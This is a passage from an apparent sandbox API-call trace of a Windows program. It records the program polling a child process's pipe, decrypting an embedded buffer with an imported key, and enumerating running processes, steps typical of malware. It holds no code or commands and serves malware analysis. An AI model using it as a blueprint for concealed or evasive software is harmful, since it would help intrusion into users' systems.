(hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0118.364] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.364] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0118.969] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.969] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0118.992] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.993] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.023] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.024] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.055] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.055] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.086] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.086] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.117] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.117] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.151] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.151] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.375] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.375] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.399] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.399] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.431] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.431] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.460] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.460] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.492] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.492] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.525] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x1c, lpBytesLeftThisMessage=0x0) returned 1 [0119.525] ReadFile (in: hFile=0x128, lpBuffer=0x22afb18, nNumberOfBytesToRead=0x1c, lpNumberOfBytesRead=0x22af89c, lpOverlapped=0x0 | out: lpBuffer=0x22afb18*, lpNumberOfBytesRead=0x22af89c*=0x1c, lpOverlapped=0x0) returned 1 [0119.525] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.554] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.554] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.585] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.585] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.619] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.620] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.647] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.648] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.679] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.680] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.710] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.710] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0119.741] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x2d, lpBytesLeftThisMessage=0x0) returned 1 [0119.741] ReadFile (in: hFile=0x128, lpBuffer=0x22afb18, nNumberOfBytesToRead=0x2d, lpNumberOfBytesRead=0x22af89c, lpOverlapped=0x0 | out: lpBuffer=0x22afb18*, lpNumberOfBytesRead=0x22af89c*=0x2d, lpOverlapped=0x0) returned 1 [0119.742] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x0 [0119.752] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.753] GetExitCodeProcess (in: hProcess=0x134, lpExitCode=0x22af88c | out: lpExitCode=0x22af88c*=0x0) returned 1 [0119.753] CloseHandle (hObject=0x130) returned 1 [0119.753] CloseHandle (hObject=0x134) returned 1 [0119.753] CloseHandle (hObject=0x120) returned 1 [0119.754] CloseHandle (hObject=0x124) returned 1 [0119.754] CloseHandle (hObject=0x128) returned 1 [0119.754] CloseHandle (hObject=0x12c) returned 1 [0119.754] GetProcessHeap () returned 0x520000 [0119.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c738 | out: hHeap=0x520000) returned 1 [0119.754] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0119.754] GetProcessHeap () returned 0x520000 [0119.754] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545248 | out: hHeap=0x520000) returned 1 [0119.754] GetProcessHeap () returned 0x520000 [0119.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x400) returned 0x545390 [0119.755] CryptImportKey (in: hProv=0x534c08, pbData=0x22afc90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x53a9e0) returned 1 [0119.755] CryptDecrypt (in: hKey=0x53a9e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x545390, pdwDataLen=0x22afd00 | out: pbData=0x545390, pdwDataLen=0x22afd00) returned 1 [0119.756] CryptDestroyKey (hKey=0x53a9e0) returned 1 [0119.756] GetProcessHeap () returned 0x520000 [0119.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537c08 [0119.756] GetProcessHeap () returned 0x520000 [0119.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x53c738 [0119.756] GetProcessHeap () returned 0x520000 [0119.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537c18 [0119.756] GetProcessHeap () returned 0x520000 [0119.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x53c7b0 [0119.756] GetProcessHeap () returned 0x520000 [0119.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537c28 [0119.756] GetProcessHeap () returned 0x520000 [0119.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1e) returned 0x53c788 [0119.756] GetProcessHeap () returned 0x520000 [0119.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537c38 [0119.756] GetProcessHeap () returned 0x520000 [0119.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x53c760 [0119.756] GetProcessHeap () returned 0x520000 [0119.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537c48 [0119.756] GetProcessHeap () returned 0x520000 [0119.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c) returned 0x53c7d8 [0119.756] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537c58 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16) returned 0x53a258 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537c68 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x53a278 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537c78 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16) returned 0x53a298 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537c88 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x53c800 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537c98 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x53c828 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537ca8 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x22) returned 0x5444f0 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537cb8 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c850 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537cc8 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c) returned 0x53c878 [0119.757] GetProcessHeap () returned 0x520000 [0119.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537cd8 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2a) returned 0x53a9e0 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537ce8 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1e) returned 0x53c8a0 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537cf8 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16) returned 0x53a2b8 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537d08 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24) returned 0x544520 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537d18 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c8c8 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537d28 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x53a2d8 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537d38 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16) returned 0x53a2f8 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537d48 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c) returned 0x53c8f0 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537d58 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1e) returned 0x53c918 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537d68 [0119.758] GetProcessHeap () returned 0x520000 [0119.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x53a318 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537d78 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x26) returned 0x544550 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537d88 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x53a338 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537d98 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x53c940 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537da8 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x53c968 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537db8 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x5457b0 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537dc8 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x5457d0 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537dd8 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x5457f0 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537de8 [0119.759] GetProcessHeap () returned 0x520000 [0119.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x53c990 [0119.760] GetProcessHeap () returned 0x520000 [0119.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x537df8 [0119.760] GetProcessHeap () returned 0x520000 [0119.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x545810 [0119.760] GetProcessHeap () returned 0x520000 [0119.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x545fb0 [0119.760] GetProcessHeap () returned 0x520000 [0119.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16) returned 0x545830 [0119.760] GetProcessHeap () returned 0x520000 [0119.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x545fc0 [0119.760] GetProcessHeap () returned 0x520000 [0119.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x53c9b8 [0119.760] GetProcessHeap () returned 0x520000 [0119.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x545fd0 [0119.760] GetProcessHeap () returned 0x520000 [0119.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5463b0 [0119.760] GetProcessHeap () returned 0x520000 [0119.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x545fe0 [0119.760] GetProcessHeap () returned 0x520000 [0119.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x545850 [0119.760] GetProcessHeap () returned 0x520000 [0119.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x545ff0 [0119.760] GetProcessHeap () returned 0x520000 [0119.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x545870 [0119.760] GetProcessHeap () returned 0x520000 [0119.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x546000 [0119.760] GetProcessHeap () returned 0x520000 [0119.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x545890 [0119.761] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c [0119.770] Process32FirstW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.771] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0119.771] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0119.772] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.772] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0119.773] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.773] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0119.774] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0119.774] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0119.775] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0119.775] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.776] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.776] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.777] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.777] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.778] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0119.778] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.779] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.779] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, 